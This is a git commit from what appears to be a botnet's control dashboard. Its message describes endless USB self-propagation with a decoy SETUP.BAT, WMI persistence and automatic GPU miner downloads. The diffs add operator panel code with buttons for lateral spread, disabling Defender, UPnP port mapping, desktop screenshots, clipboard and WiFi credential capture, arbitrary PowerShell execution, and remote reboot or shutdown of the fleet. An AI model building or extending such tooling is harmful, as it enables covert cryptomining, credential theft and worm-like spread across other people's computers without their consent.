Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.
- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge - USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless - Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots - Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command - Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting - Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner - Crucible gold rain when single agent is active; matrix rain mystic word drops - README fully rewritten; USB bundle repacked
This commit is contained in:
@@ -128,7 +128,7 @@
|
||||
.tactical-bottom-row {
|
||||
display: flex;
|
||||
gap: 20px;
|
||||
height: 250px;
|
||||
height: 380px;
|
||||
}
|
||||
|
||||
.drop-zone {
|
||||
@@ -172,13 +172,32 @@
|
||||
white-space: pre-wrap;
|
||||
}
|
||||
|
||||
.terminal-placeholder { color: #555; font-style: italic; }
|
||||
.terminal-titlebar {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
padding: 5px 10px;
|
||||
background: #0a0014;
|
||||
border-bottom: 1px solid rgba(0,229,255,0.15);
|
||||
flex-shrink: 0;
|
||||
}
|
||||
.terminal-title { font-size: 0.7rem; color: #00e5ff; letter-spacing: 0.06em; font-weight: bold; }
|
||||
.terminal-clear-btn { background: none; border: 1px solid #333; color: #555; font-size: 0.65rem; padding: 2px 8px; border-radius: 3px; cursor: pointer; }
|
||||
.terminal-clear-btn:hover { border-color: #888; color: #ccc; }
|
||||
|
||||
.terminal-placeholder { color: #555; font-style: italic; padding: 0; }
|
||||
|
||||
.log-line.log-ok { color: #00ff88; }
|
||||
.log-line.log-err { color: #ff4444; }
|
||||
.log-line.log-live { color: #888; font-size: 0.78rem; border-top: 1px solid rgba(255,255,255,0.03); padding-top: 2px; }
|
||||
.log-line.log-warn { color: #ffaa00; }
|
||||
|
||||
.terminal-input-bar { display: flex; border-top: 1px solid #333; background: #0a0a0a; }
|
||||
.terminal-input-bar .prompt { color: #ff00ff; padding: 10px; font-weight: bold; }
|
||||
.terminal-input-bar input { flex: 1; background: transparent; border: none; color: #fff; font-family: inherit; outline: none; }
|
||||
.terminal-input-bar button { background: #333; border: none; color: #fff; padding: 0 15px; cursor: pointer; font-weight: bold; }
|
||||
.terminal-input-bar button:hover { background: #00e5ff; color: #000; }
|
||||
.terminal-input-bar button:disabled { opacity: 0.4; cursor: not-allowed; }
|
||||
|
||||
/* Upgrade section */
|
||||
.upgrade-group { grid-column: 1 / -1; }
|
||||
@@ -212,4 +231,95 @@
|
||||
font-size: 0.82rem;
|
||||
}
|
||||
|
||||
.log-line { line-height: 1.45; word-break: break-all; }
|
||||
.log-line { line-height: 1.45; word-break: break-all; }
|
||||
|
||||
/* Offline & busy badges in header */
|
||||
.offline-badge {
|
||||
font-size: 0.7rem;
|
||||
padding: 3px 8px;
|
||||
background: rgba(255,40,40,0.2);
|
||||
border: 1px solid rgba(255,40,40,0.5);
|
||||
border-radius: 4px;
|
||||
color: #ff6666;
|
||||
font-weight: bold;
|
||||
letter-spacing: 0.04em;
|
||||
}
|
||||
.busy-badge {
|
||||
font-size: 0.7rem;
|
||||
padding: 3px 8px;
|
||||
background: rgba(255,171,0,0.2);
|
||||
border: 1px solid rgba(255,171,0,0.4);
|
||||
border-radius: 4px;
|
||||
color: #ffcc44;
|
||||
animation: pulse-amber 1.2s ease-in-out infinite;
|
||||
}
|
||||
.offline-dot { background: #555; box-shadow: 0 0 6px #555; }
|
||||
|
||||
@keyframes pulse-amber {
|
||||
0%, 100% { opacity: 1; }
|
||||
50% { opacity: 0.5; }
|
||||
}
|
||||
|
||||
/* WOL section */
|
||||
.wol-row { display: flex; flex-direction: column; gap: 0.5rem; }
|
||||
.wol-toggle {
|
||||
font-size: 0.8rem;
|
||||
padding: 6px 12px;
|
||||
border-radius: 4px;
|
||||
border: 1px solid rgba(0,229,255,0.3);
|
||||
background: rgba(0,229,255,0.06);
|
||||
color: #00e5ff;
|
||||
cursor: pointer;
|
||||
transition: all 0.2s;
|
||||
text-align: left;
|
||||
}
|
||||
.wol-toggle:hover { background: rgba(0,229,255,0.12); }
|
||||
.wol-form {
|
||||
display: flex;
|
||||
gap: 0.5rem;
|
||||
align-items: center;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
.wol-mac-input {
|
||||
flex: 1;
|
||||
min-width: 220px;
|
||||
background: rgba(0,0,0,0.5);
|
||||
border: 1px solid rgba(0,229,255,0.25);
|
||||
border-radius: 4px;
|
||||
color: #e0e0e0;
|
||||
padding: 6px 10px;
|
||||
font-size: 0.82rem;
|
||||
font-family: 'Consolas', monospace;
|
||||
outline: none;
|
||||
}
|
||||
.wol-mac-input:focus { border-color: #00e5ff; }
|
||||
.wol-form button { white-space: nowrap; padding: 6px 14px; font-size: 0.8rem; }
|
||||
|
||||
/* Compact mode extras */
|
||||
.compact-offline-banner {
|
||||
font-size: 0.72rem;
|
||||
color: #ff6666;
|
||||
background: rgba(255,40,40,0.1);
|
||||
border: 1px solid rgba(255,40,40,0.3);
|
||||
border-radius: 4px;
|
||||
padding: 3px 8px;
|
||||
margin-bottom: 6px;
|
||||
}
|
||||
.compact-terminal {
|
||||
margin-top: 6px;
|
||||
background: #050505;
|
||||
border: 1px solid #1a1a1a;
|
||||
border-radius: 4px;
|
||||
padding: 5px 8px;
|
||||
font-family: 'Consolas', monospace;
|
||||
font-size: 0.72rem;
|
||||
max-height: 80px;
|
||||
overflow-y: auto;
|
||||
}
|
||||
.compact-log-line {
|
||||
color: #aaa;
|
||||
line-height: 1.35;
|
||||
white-space: pre-wrap;
|
||||
word-break: break-all;
|
||||
}
|
||||
.compact-log-line:last-child { color: #e0e0e0; }
|
||||
@@ -4,6 +4,7 @@ import type { Agent, Build } from '../../types';
|
||||
import type { SeqCommandResult } from '../../context/WebSocketContext';
|
||||
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
|
||||
import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../../help/screenshotDownload';
|
||||
import { formatHashrate } from '../../help/fleetFilters';
|
||||
import './AgentRemoteActions.css';
|
||||
|
||||
const TERMINAL_MAX_LINES = 500;
|
||||
@@ -22,6 +23,8 @@ interface Props {
|
||||
/** @deprecated Pass commandResults instead. */
|
||||
latestWsMessage?: { type: string; payload: unknown } | null;
|
||||
onCommandSent?: (action: string) => void;
|
||||
/** If true, inject a live stats snapshot into the terminal when agent updates */
|
||||
showLiveStats?: boolean;
|
||||
}
|
||||
|
||||
export default function AgentRemoteActions({
|
||||
@@ -32,6 +35,7 @@ export default function AgentRemoteActions({
|
||||
compact = false,
|
||||
commandResults,
|
||||
onCommandSent,
|
||||
showLiveStats = false,
|
||||
}: Props) {
|
||||
const agentId = agentIdProp ?? agent?.id ?? '';
|
||||
const agentName = agentNameProp ?? agent?.name ?? 'Agent';
|
||||
@@ -43,9 +47,12 @@ export default function AgentRemoteActions({
|
||||
const [terminalLog, setTerminalLog] = useState<string[]>([]);
|
||||
const [screenshotData, setScreenshotData] = useState<string | null>(null);
|
||||
const [busy, setBusy] = useState<string | null>(null);
|
||||
const [wolMac, setWolMac] = useState('');
|
||||
const [wolExpanded, setWolExpanded] = useState(false);
|
||||
// Fleet upgrade
|
||||
const [builds, setBuilds] = useState<Build[]>([]);
|
||||
const [selectedBuildId, setSelectedBuildId] = useState<string>('');
|
||||
const lastStatsRef = useRef<string>('');
|
||||
useEffect(() => {
|
||||
api.listBuilds().then(setBuilds).catch(() => setBuilds([]));
|
||||
}, []);
|
||||
@@ -77,6 +84,43 @@ export default function AgentRemoteActions({
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, [agentId]);
|
||||
|
||||
// Pre-fill WOL MAC from agent object when it becomes available
|
||||
useEffect(() => {
|
||||
if (agent?.mac_address && !wolMac) {
|
||||
setWolMac(agent.mac_address);
|
||||
}
|
||||
}, [agent?.mac_address]);
|
||||
|
||||
// Live stats ticker — appends a concise status line whenever agent data changes.
|
||||
// Throttled: only fires if the snapshot hash changed AND at least 15s has elapsed.
|
||||
const lastStatsPushRef = useRef(0);
|
||||
useEffect(() => {
|
||||
if (!showLiveStats || !agent || agent.status !== 'online') return;
|
||||
const snapshot = [
|
||||
agent.hashrate_15s?.toFixed(0),
|
||||
agent.cpu_usage_pct?.toFixed(0),
|
||||
agent.memory_usage_pct?.toFixed(0),
|
||||
agent.cpu_temp_c,
|
||||
].join('|');
|
||||
if (snapshot === lastStatsRef.current) return;
|
||||
const now = Date.now();
|
||||
if (now - lastStatsPushRef.current < 15000) return;
|
||||
lastStatsRef.current = snapshot;
|
||||
lastStatsPushRef.current = now;
|
||||
|
||||
const parts: string[] = [
|
||||
`XMR ${formatHashrate(agent.hashrate_15s ?? 0)}`,
|
||||
`CPU ${(agent.cpu_usage_pct ?? 0).toFixed(1)}%`,
|
||||
`RAM ${(agent.memory_usage_pct ?? 0).toFixed(1)}%`,
|
||||
];
|
||||
if (agent.cpu_temp_c != null) parts.push(`Temp ${agent.cpu_temp_c}°C`);
|
||||
if (agent.gpu_miner_active && agent.gpu_hashrate_15s) {
|
||||
parts.push(`RVN ${formatHashrate(agent.gpu_hashrate_15s)}`);
|
||||
}
|
||||
if (agent.disk_free_pct != null) parts.push(`Disk ${agent.disk_free_pct}% free`);
|
||||
addLog(`◈ LIVE ${parts.join(' │ ')}`);
|
||||
}, [agent, showLiveStats, addLog]);
|
||||
|
||||
// Process every new commandResults entry we haven't seen yet (M13 — no drops).
|
||||
// Filters by _seq so the ring-buffer trim never makes us miss results.
|
||||
useEffect(() => {
|
||||
@@ -95,52 +139,74 @@ export default function AgentRemoteActions({
|
||||
const clean = sanitizeScreenshotBase64(message);
|
||||
if (downloadScreenshotFromBase64(clean, label)) {
|
||||
setScreenshotData(`data:image/jpeg;base64,${clean}`);
|
||||
addLog(`Screenshot saved — ${label}`);
|
||||
addLog(`✓ Screenshot saved — ${label}`);
|
||||
} else {
|
||||
addLog(`[SCREENSHOT] ${label}: invalid image data`);
|
||||
addLog(`✗ [SCREENSHOT] ${label}: invalid image data`);
|
||||
}
|
||||
} else {
|
||||
addLog(`[SCREENSHOT] ${label}: FAIL\n${message ?? ''}`);
|
||||
addLog(`✗ [SCREENSHOT] ${label}: FAIL\n${message ?? ''}`);
|
||||
}
|
||||
} else if (action) {
|
||||
addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'}\n${message ?? ''}`);
|
||||
const icon = success ? '✓' : '✗';
|
||||
addLog(`${icon} [${action.toUpperCase()}]\n${message ?? ''}`);
|
||||
}
|
||||
}
|
||||
}, [commandResults, agentId, addLog]);
|
||||
|
||||
const dispatch = async (action: string, args: Record<string, unknown> = {}) => {
|
||||
if (!agentId) {
|
||||
addLog('No agent selected');
|
||||
addLog('⚠ No agent selected');
|
||||
return;
|
||||
}
|
||||
if (agent && !isOnline) {
|
||||
addLog('Agent is offline');
|
||||
if (action !== 'wol' && agent && !isOnline) {
|
||||
addLog(`⚠ Agent "${agentName}" is offline — command not sent`);
|
||||
return;
|
||||
}
|
||||
if (action === 'stop' && !window.confirm(`Stop miner on "${agentName}"?`)) return;
|
||||
if (action === 'uninstall' && !window.confirm(`Uninstall miner from "${agentName}"?`)) return;
|
||||
if (action === 'reboot_machine' && !window.confirm(`REBOOT "${agentName}" now?\n\nThe machine will immediately restart.`)) return;
|
||||
if (action === 'shutdown_machine' && !window.confirm(`SHUT DOWN "${agentName}" now?\n\nThe machine will power off and won't come back unless Wake-on-LAN is used.`)) return;
|
||||
if (action === 'upgrade' && !window.confirm(`Push binary upgrade to "${agentName === 'Agent' ? 'ENTIRE FLEET' : agentName}"?\n\nThe agent will download, replace itself, and restart.`)) return;
|
||||
if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return;
|
||||
if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return;
|
||||
if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return;
|
||||
|
||||
// WOL is handled server-side (no agent connection needed)
|
||||
if (action === 'wol') {
|
||||
setBusy('wol');
|
||||
try {
|
||||
addLog(`◈ Sending Wake-on-LAN to ${agentName} (${args.mac ?? 'stored MAC'})…`);
|
||||
const res = await api.sendWOL(agentId, args.mac as string | undefined);
|
||||
if (res.success) {
|
||||
addLog(`✓ WOL magic packet sent to ${res.mac ?? args.mac ?? 'broadcast'}`);
|
||||
} else {
|
||||
addLog(`✗ WOL failed: ${res.error ?? 'unknown error'}`);
|
||||
}
|
||||
} catch (err: unknown) {
|
||||
addLog(`✗ WOL error: ${err instanceof Error ? err.message : 'request failed'}`);
|
||||
} finally {
|
||||
setBusy(null);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
setBusy(action);
|
||||
try {
|
||||
if (action === 'screenshot') {
|
||||
addLog(`Capturing desktop on ${agentName}…`);
|
||||
} else if (!compact) {
|
||||
addLog(`> Executing ${action}...`);
|
||||
addLog(`◈ Capturing desktop on ${agentName}…`);
|
||||
} else {
|
||||
addLog(`▶ ${action} → ${agentId === 'all' ? 'FLEET' : agentName}`);
|
||||
}
|
||||
const res = await api.sendAgentCommand(agentId, action, args);
|
||||
if (res.success === false) {
|
||||
addLog(`Command rejected: ${res.error ?? 'unknown error'}`);
|
||||
addLog(`✗ Rejected: ${res.error ?? 'unknown error'}`);
|
||||
return;
|
||||
}
|
||||
if (!compact) addLog(`> ${action} sent to ${agentId === 'all' ? 'fleet' : agentName}`);
|
||||
if (action !== 'screenshot') addLog(`✓ command queued`);
|
||||
onCommandSent?.(action);
|
||||
} catch (err: unknown) {
|
||||
const msg = err instanceof Error ? err.message : 'Command failed';
|
||||
addLog(`API Error: ${msg}`);
|
||||
addLog(`✗ ${msg}`);
|
||||
} finally {
|
||||
setBusy(null);
|
||||
}
|
||||
@@ -177,13 +243,23 @@ export default function AgentRemoteActions({
|
||||
if (compact) {
|
||||
return (
|
||||
<div className="agent-remote compact" onClick={(e) => e.stopPropagation()}>
|
||||
{!isOnline && (
|
||||
<div className="compact-offline-banner">⚠ offline — commands disabled</div>
|
||||
)}
|
||||
<div className="agent-remote-row">
|
||||
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')}>Screenshot</button>
|
||||
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button>
|
||||
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button>
|
||||
<button type="button" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Stop</button>
|
||||
<button type="button" className="agent-action-btn danger" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
||||
<button type="button" aria-label="Screenshot" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')} title="Capture desktop">📷</button>
|
||||
<button type="button" aria-label="Pause" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')} title="Pause miner">⏸</button>
|
||||
<button type="button" aria-label="Resume" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')} title="Resume miner">▶</button>
|
||||
<button type="button" aria-label="Reboot" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('reboot_machine')} title="Reboot machine">↺</button>
|
||||
<button type="button" aria-label="Shutdown" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('shutdown_machine')} title="Shutdown machine">⏻</button>
|
||||
<button type="button" aria-label="Wake" className="agent-action-btn" disabled={!!busy} onClick={() => dispatch('wol', { mac: agent?.mac_address })} title="Wake on LAN">☀</button>
|
||||
<button type="button" aria-label="Stop" className="agent-action-btn danger" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')} title="Kill miner process">✕</button>
|
||||
</div>
|
||||
{terminalLog.length > 0 && (
|
||||
<div className="compact-terminal">
|
||||
{terminalLog.slice(-4).map((l, i) => <div key={i} className="compact-log-line">{l}</div>)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -202,8 +278,12 @@ export default function AgentRemoteActions({
|
||||
<div className="tactical-panel">
|
||||
<div className="tactical-header">
|
||||
<div className="target-indicator">
|
||||
<div className={`status-dot ${isFleet ? 'fleet-glow' : 'agent-glow'}`} />
|
||||
<div className={`status-dot ${isFleet ? 'fleet-glow' : isOnline ? 'agent-glow' : 'offline-dot'}`} />
|
||||
<h2>Target: {isFleet ? 'ENTIRE FLEET' : agentName}</h2>
|
||||
{!isFleet && !isOnline && (
|
||||
<span className="offline-badge">OFFLINE — commands disabled</span>
|
||||
)}
|
||||
{busy && <span className="busy-badge">⏳ {busy}…</span>}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -235,10 +315,41 @@ export default function AgentRemoteActions({
|
||||
<div className="action-group power-group">
|
||||
<h3>System Power</h3>
|
||||
<div className="button-grid">
|
||||
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('restart')}>Restart Agent</button>
|
||||
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Kill Process</button>
|
||||
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('restart')} title="Restart miner process only">Restart Agent</button>
|
||||
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('reboot_machine')} title="Full OS reboot">Reboot Machine</button>
|
||||
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('shutdown_machine')} title="Power off OS">Shutdown Machine</button>
|
||||
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Kill Miner</button>
|
||||
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
||||
</div>
|
||||
<div className="wol-row" style={{ marginTop: '0.75rem' }}>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-cyan wol-toggle"
|
||||
onClick={() => setWolExpanded((p) => !p)}
|
||||
title="Send Wake-on-LAN magic packet to power on a sleeping machine"
|
||||
>
|
||||
☀ Wake Machine (WOL) {wolExpanded ? '▲' : '▼'}
|
||||
</button>
|
||||
{wolExpanded && (
|
||||
<div className="wol-form">
|
||||
<input
|
||||
type="text"
|
||||
className="wol-mac-input"
|
||||
placeholder="MAC address e.g. AA:BB:CC:DD:EE:FF"
|
||||
value={wolMac}
|
||||
onChange={(e) => setWolMac(e.target.value)}
|
||||
/>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-cyan"
|
||||
disabled={!!busy}
|
||||
onClick={() => dispatch('wol', wolMac ? { mac: wolMac } : {})}
|
||||
>
|
||||
{busy === 'wol' ? 'Sending…' : 'Send Packet'}
|
||||
</button>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="action-group upgrade-group">
|
||||
@@ -395,11 +506,23 @@ export default function AgentRemoteActions({
|
||||
</div>
|
||||
|
||||
<div className="master-terminal">
|
||||
<div className="terminal-titlebar">
|
||||
<span className="terminal-title">◈ REMOTE TERMINAL — {agentId === 'all' ? 'FLEET' : agentName}</span>
|
||||
<button type="button" className="terminal-clear-btn" onClick={() => setTerminalLog([])}>CLEAR</button>
|
||||
</div>
|
||||
<div className="terminal-output">
|
||||
{terminalLog.length === 0 ? (
|
||||
<span className="terminal-placeholder">Awaiting telemetry...</span>
|
||||
<div className="terminal-placeholder">
|
||||
<div>◈ Terminal ready — send a command to see output here</div>
|
||||
{isOnline && <div style={{ marginTop: '0.4rem', color: '#555' }}>Commands: Process List, System Info, Net Connections, Clipboard, WiFi Creds...</div>}
|
||||
{!isOnline && <div style={{ marginTop: '0.4rem', color: '#ff4444' }}>Agent offline — only WOL is available</div>}
|
||||
</div>
|
||||
) : (
|
||||
terminalLog.map((log, i) => <div key={i} className="log-line">{log}</div>)
|
||||
terminalLog.map((log, i) => (
|
||||
<div key={i} className={`log-line ${log.startsWith('✓') ? 'log-ok' : log.startsWith('✗') ? 'log-err' : log.startsWith('◈ LIVE') ? 'log-live' : log.startsWith('⚠') ? 'log-warn' : ''}`}>
|
||||
{log}
|
||||
</div>
|
||||
))
|
||||
)}
|
||||
<div ref={logEndRef} />
|
||||
</div>
|
||||
@@ -409,11 +532,11 @@ export default function AgentRemoteActions({
|
||||
type="text"
|
||||
value={customCmd}
|
||||
onChange={(e) => setCustomCmd(e.target.value)}
|
||||
placeholder="Enter PowerShell command..."
|
||||
placeholder={isOnline ? 'Enter PowerShell command...' : 'Agent offline'}
|
||||
autoComplete="off"
|
||||
disabled={!isOnline}
|
||||
/>
|
||||
<button type="submit" disabled={!isOnline}>EXEC</button>
|
||||
<button type="submit" disabled={!isOnline || !!busy}>EXEC</button>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
178
server/web/src/components/RVNPoolPresetPicker.tsx
Normal file
178
server/web/src/components/RVNPoolPresetPicker.tsx
Normal file
@@ -0,0 +1,178 @@
|
||||
import { useEffect, useMemo, useState } from 'react';
|
||||
import type { BackupPool } from '../types';
|
||||
import {
|
||||
RVN_POOL_PRESETS,
|
||||
DEFAULT_RVN_PRESET_IDS,
|
||||
orderedRVNPoolsFromSelection,
|
||||
detectRVNPresetIds,
|
||||
applyRVNPoolsToForgeFields,
|
||||
type RVNPoolForgeFields,
|
||||
} from '../help/poolPresets';
|
||||
import './PoolPresetPicker.css';
|
||||
|
||||
interface RVNPoolPresetPickerProps {
|
||||
host: string;
|
||||
port: number;
|
||||
tls: boolean;
|
||||
pass: string;
|
||||
backups?: BackupPool[];
|
||||
onChange: (next: RVNPoolForgeFields) => void;
|
||||
}
|
||||
|
||||
export default function RVNPoolPresetPicker({
|
||||
host,
|
||||
port,
|
||||
tls,
|
||||
pass,
|
||||
backups = [],
|
||||
onChange,
|
||||
}: RVNPoolPresetPickerProps) {
|
||||
const [selectedIds, setSelectedIds] = useState<string[]>(() => {
|
||||
const detected = detectRVNPresetIds(host, port, tls, backups);
|
||||
return detected.length ? detected : [...DEFAULT_RVN_PRESET_IDS];
|
||||
});
|
||||
const [useCustom, setUseCustom] = useState(false);
|
||||
const [customHost, setCustomHost] = useState('');
|
||||
const [customPort, setCustomPort] = useState(6060);
|
||||
const [customTls, setCustomTls] = useState(false);
|
||||
|
||||
useEffect(() => {
|
||||
const detected = detectRVNPresetIds(host, port, tls, backups);
|
||||
if (detected.length) setSelectedIds(detected);
|
||||
}, [host, port, tls, backups]);
|
||||
|
||||
const orderedPreview = useMemo(() => {
|
||||
const custom: BackupPool | null = useCustom && customHost.trim()
|
||||
? { host: customHost.trim(), port: customPort || 6060, tls: customTls, pass: pass || 'x' }
|
||||
: null;
|
||||
return orderedRVNPoolsFromSelection(selectedIds, pass || 'x', custom);
|
||||
}, [selectedIds, pass, useCustom, customHost, customPort, customTls]);
|
||||
|
||||
const applySelection = (ids: string[], customOn: boolean, cHost: string, cPort: number, cTls: boolean) => {
|
||||
const custom: BackupPool | null =
|
||||
customOn && cHost.trim()
|
||||
? { host: cHost.trim(), port: cPort || 6060, tls: cTls, pass: pass || 'x' }
|
||||
: null;
|
||||
const pools = orderedRVNPoolsFromSelection(ids, pass || 'x', custom);
|
||||
onChange(applyRVNPoolsToForgeFields(pools));
|
||||
};
|
||||
|
||||
const togglePreset = (id: string) => {
|
||||
const next = selectedIds.includes(id)
|
||||
? selectedIds.filter((x) => x !== id)
|
||||
: [...selectedIds, id];
|
||||
if (!next.length) return;
|
||||
setSelectedIds(next);
|
||||
applySelection(next, useCustom, customHost, customPort, customTls);
|
||||
};
|
||||
|
||||
const grouped = useMemo(() => {
|
||||
const map = new Map<string, typeof RVN_POOL_PRESETS>();
|
||||
for (const p of RVN_POOL_PRESETS) {
|
||||
const list = map.get(p.provider) ?? [];
|
||||
list.push(p);
|
||||
map.set(p.provider, list);
|
||||
}
|
||||
return [...map.entries()];
|
||||
}, []);
|
||||
|
||||
return (
|
||||
<div className="pool-preset-picker rvn-pool-picker">
|
||||
<p className="form-hint pool-preset-hint">
|
||||
Select one or more Ravencoin (KawPoW) pools. Failover order applies — primary is tried first.
|
||||
</p>
|
||||
<div className="pool-preset-grid">
|
||||
{grouped.map(([provider, presets]) => (
|
||||
<div key={provider} className="pool-preset-group">
|
||||
<span className="pool-preset-provider font-tech" style={{ color: 'var(--neon-gold)' }}>
|
||||
{provider}
|
||||
</span>
|
||||
{presets.map((p) => (
|
||||
<label key={p.id} className="pool-preset-option checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={selectedIds.includes(p.id)}
|
||||
onChange={() => togglePreset(p.id)}
|
||||
/>
|
||||
<span>
|
||||
<code>{p.host}:{p.port}</code>
|
||||
{p.tls ? ' TLS' : ''}
|
||||
<span className="pool-preset-sub"> ({p.hint})</span>
|
||||
</span>
|
||||
</label>
|
||||
))}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
|
||||
<div className="pool-preset-custom">
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={useCustom}
|
||||
onChange={(e) => {
|
||||
const on = e.target.checked;
|
||||
setUseCustom(on);
|
||||
applySelection(selectedIds, on, customHost, customPort, customTls);
|
||||
}}
|
||||
/>
|
||||
<span>Add custom pool</span>
|
||||
</label>
|
||||
{useCustom && (
|
||||
<div className="pool-preset-custom-fields form-row">
|
||||
<input
|
||||
type="text"
|
||||
className="input mono"
|
||||
placeholder="pool.example.com"
|
||||
value={customHost}
|
||||
onChange={(e) => {
|
||||
setCustomHost(e.target.value);
|
||||
applySelection(selectedIds, true, e.target.value, customPort, customTls);
|
||||
}}
|
||||
/>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={1}
|
||||
max={65535}
|
||||
value={customPort}
|
||||
onChange={(e) => {
|
||||
const v = e.target.valueAsNumber || 6060;
|
||||
setCustomPort(v);
|
||||
applySelection(selectedIds, true, customHost, v, customTls);
|
||||
}}
|
||||
/>
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={customTls}
|
||||
onChange={(e) => {
|
||||
setCustomTls(e.target.checked);
|
||||
applySelection(selectedIds, true, customHost, customPort, e.target.checked);
|
||||
}}
|
||||
/>
|
||||
<span>TLS</span>
|
||||
</label>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{orderedPreview.length > 0 && (
|
||||
<div className="pool-preset-order">
|
||||
<span className="font-tech">Failover order</span>
|
||||
<ol>
|
||||
{orderedPreview.map((p, i) => (
|
||||
<li key={`${p.host}:${p.port}:${p.tls}`}>
|
||||
{i === 0 ? 'Primary' : `Backup ${i}`}: {p.host}:{p.port}
|
||||
{p.tls ? ' (TLS)' : ''}
|
||||
</li>
|
||||
))}
|
||||
</ol>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -370,7 +370,7 @@ describe('AgentRemoteActions', () => {
|
||||
expect(screen.getByRole('heading', { name: 'Target: Node A' })).toBeInTheDocument();
|
||||
});
|
||||
expect(screen.getByRole('heading', { name: 'Recon & Intel' })).toBeInTheDocument();
|
||||
expect(screen.getByText(/Awaiting telemetry/i)).toBeInTheDocument();
|
||||
expect(screen.getByText(/Terminal ready/i)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('disables recon buttons when agent offline', async () => {
|
||||
|
||||
Reference in New Issue
Block a user